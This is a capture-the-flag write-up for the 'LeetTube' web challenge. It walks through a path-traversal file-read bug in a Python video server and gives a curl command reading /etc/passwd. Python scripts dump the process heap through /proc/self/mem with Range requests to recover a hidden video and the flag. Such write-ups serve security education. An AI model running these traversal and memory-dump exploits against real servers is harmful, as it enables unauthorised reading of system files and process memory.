LeetTube
I developed a new video streaming service just for hackers. Learn all about viruses, IP addresses, and more on LeetTube! Here's the source code and the Dockerfile. Note: the server is also running behind NGINX.
- Python source code: actf2020-leettube.py
- Dockerfile: Dockerfile
Recon
We're given the source for a Python web application using HTTPServer, a very basic WSGI / web framework.
First part of the script seems to read videos and store it into a variable called videos
.
videos = []
for file in os.listdir('videos'):
os.chmod('videos/'+file, 0o600)
videos.append({'title': file.split('.')[0], 'path': 'videos/'+file, 'content': open('videos/'+file, 'rb').read()})
published = []
for video in videos:
if video['title'].startswith('UNPUBLISHED'): os.chmod(video['path'], 0) # make sure you can't just guess the filename
else: published.append(video)
We assume that "UNPUBLISHED" videos may contain a flag, as the web application do not
expose them. They do get read into the videos
variable however.
LFI
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
try:
self.path = urllib.parse.unquote(self.path)
if self.path.startswith('/videos/'):
file = os.path.abspath('.'+self.path)
try: video = open(file, 'rb', 0)
except OSError:
self.send_response(404)
This piece of code is vulnerable to a LFI, as we can break os.path.abspath
:
>>> os.path.abspath("." + "/videos/e?f=../../../../../../../etc/passwd")
'/etc/passwd'
Against the remote challenge server:
curl --path-as-is \
"https://leettube.2020.chall.actf.co/videos/e?f=../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[...]
Reading memory
Since we can't guess the filename of the secret flag video, we
decided to read process memory via /self/proc/maps
The Python webserver actually supports Range requests, meaning, we can specify a read offset/length for our LFI. That code can be found here:
reqrange = self.headers.get('Range', 'bytes 0-')
ranges = list(int(i) for i in reqrange[6:].split('-') if i)
if len(ranges) == 1: ranges.append(ranges[0]+65536)
try:
video.seek(ranges[0])
content = video.read(ranges[1]-ranges[0]+1)
except:
self.send_response(404)
self.end_headers()
return
self.send_response(206)
self.send_header('Accept-Ranges', 'bytes')
self.send_header('Content-Type', 'video/mp4')
self.send_header('Content-Range',
'bytes '+str(ranges[0])+'-'+str(ranges[0]+len(content)-1)+'/'+str(os.path.getsize(file)))
Sample output from fetching /self/proc/maps
:
557452058000-557452059000 r--p 00000000 ca:01 9231839 /usr/local/bin/python3
557452059000-55745205a000 r-xp 00001000 ca:01 9231839 /usr/local/bin/python3
55745205a000-55745205b000 r--p 00002000 ca:01 9231839 /usr/local/bin/python3
55745205b000-55745205c000 r--p 00002000 ca:01 9231839 /usr/local/bin/python3
55745205c000-55745205d000 rw-p 00003000 ca:01 9231839 /usr/local/bin/python3
557453f48000-557455808000 rw-p 00000000 00:00 0 [heap]
7f4c37c4b000-7f4c37c4f000 r--p 00000000 ca:01 7173367 /lib/x86_64-linux-gnu/libresolv-2.28.so
7f4c37c4f000-7f4c37c5c000 r-xp 00004000 ca:01 7173367 /lib/x86_64-linux-gnu/libresolv-2.28.so
7f4c37c5c000-7f4c37c60000 r--p 00011000 ca:01 7173367 /lib/x86_64-linux-gnu/libresolv-2.28.so
[...]
We create a script to specifically fetch memory heap:
import re
import requests
URL = "https://leettube.2020.chall.actf.co"
resp = requests.get(URL+"/videos/e?f=../../../../../../proc/self/maps")
content = resp.content.decode()
for line in content.split("\n"):
if "heap" not in line:
continue
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) (rw-p)', line)
if m.group(3) == 'rw-p':
start = int(m.group(1), 16)
end = int(m.group(2), 16)
headers = {"Range": f"bytes {start}-{end}"}
url = URL+"/videos/e?f=../../../../../../proc/self/mem"
with requests.get(url, headers=headers, stream=True) as r:
with open("heap", 'wb') as f:
for chunk in r.iter_content(chunk_size=8192):
if chunk:
f.write(chunk)
Foremost can detect some video files in the heap dump:
Num Name (bs=512) Size File Offset Comment
0: 00021193.mov 569 KB 10851256
1: 00022337.mov 464 KB 11436984
2: 00023273.mov 1 MB 11916216
But foremost does not carve out the video files correctly. We'll carve them out
ourselves by looking for the ftyp
mp4 header;
To re-iterate, the script below will:
- Fetch
/proc/self/maps
from the challenge server - Determine the address for the heap
- Fetch writable memory region(s) (heap)
- Look for mp4 header(s) in the resulting process dump(s)
- Write mp4 files to current directory
import re
import requests
URL = "https://leettube.2020.chall.actf.co"
data = bytearray()
resp = requests.get(URL + "/videos/?../../../../../proc/self/maps")
content = resp.content.decode()
for line in content.split("\n"):
# match readable regions
m = re.match(r"([0-9A-Fa-f]+)-([0-9A-Fa-f]+) (rw-p)", line)
if not m or m.group(3) != "rw-p":
continue
start = int(m.group(1), 16)
end = int(m.group(2), 16)
headers = {"Range": f"bytes {start}-{end}"}
with requests.get(URL + "/videos/?../../../../../proc/self/mem",
headers=headers, stream=True) as r:
for chunk in r.iter_content(chunk_size=8192):
data.extend(chunk)
i = 0
while b"ftyp" in data:
x = data.index(b"ftyp") - 4
data = data[x:]
with open(f"{i}.mp4", "wb") as f:
f.write(data)
i += 1
data = data[x + 8 :]
We play the resulting mp4 video files and get our flag.
Flag
actf{1337tube?_more_like_l34ktube}